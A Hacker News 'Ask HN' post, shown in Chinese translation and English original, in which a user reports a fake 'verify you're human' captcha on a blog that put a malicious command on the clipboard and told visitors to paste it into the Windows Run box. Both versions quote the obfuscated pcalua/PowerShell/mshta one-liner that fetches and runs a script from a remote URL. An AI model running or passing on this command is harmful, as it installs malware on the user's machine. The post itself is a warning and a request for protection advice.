HN 提问：Crooked Timber 给我展示了一个病毒验证码，现在怎么办？
14 分•作者: Jgoauh•12 天前
大家好，
今天早上我开始轮班时，想着先浏览一些新闻博客/网站来开始新的一天。当我访问 Crooked Timber 时，我看到了一个验证码页面，看起来像传统的谷歌验证码。
我点击了它，加载图标旋转了一下，右侧弹出一个框，显示着蓝底白字的传统“请验证您是人类”的标题。
它显示了 2 个“手动验证步骤”：
1. 按 Win + R
2. 按 Ctrl + V 然后按运行
起初我以为这是一种新的验证方式，用来检查浏览器是否连接了物理键盘。但我立刻意识到这是企图让我运行一段脚本。
我打开了一个新的标签页，令我惊讶的是，剪贴板里竟然有新内容：
“pcalua -a "PowerShell" -c "saps cmd '/v/c m^s^h^t^a h^t^t^p^s^:^/^/^/fine-work-team.com/^6272' -Wi Hi"”
我将这段内容提交给了我工作单位提供的一个大型语言模型，它告诉我绝对不要运行它（我本来也没打算运行），并解释说该命令会从该 URL 下载并运行一个脚本。
我该如何保护自己免受这类诈骗/黑客攻击？我一直认为自己“有准备”，但这次我还是感到惊讶。
您以前遇到过这种情况吗？您是如何保护自己的？
查看原文
Hello everyone,
This morning, as i started my shift, i thought i would start visiting some news blogs / websites to kick off the day. When it got to Crooked Timber i saw a captcha page instead, it looked like a traditional Google captcha.
I clicked it, the spinner spun, and a box opened on the right, showing the traditional "Verify you're human" white title on a blue background.<p>It showed 2 "Manual Verification Steps" :
1. Press Win + R
2. Press Ctrl + V and press Run<p>At first i assumed it was a new type of captcha checking i a physical keyboard was attached to the browser. But i instantly recognized the attempt to make me run a script on my machine.<p>I opened a new type and to my surprise, the something new was in my clipboard :
"pcalua -a "PowerShell" -c "saps cmd '/v/c m^s^h^t^a h^t^t^p^s^:^/^/fine-work-team.com/6272' -Wi Hi""<p>I submited it to one of LLMs my work gives me access to, which told me to absolutly not run it (i wasn't planning to) and explained the command would download and run a script from the URL.<p>How do i protect myself from these scams / hack attempts in the future ? i always tought of myself "prepared" but i was surprised.<p>Has this happened to you before ? How do you protect yourself ?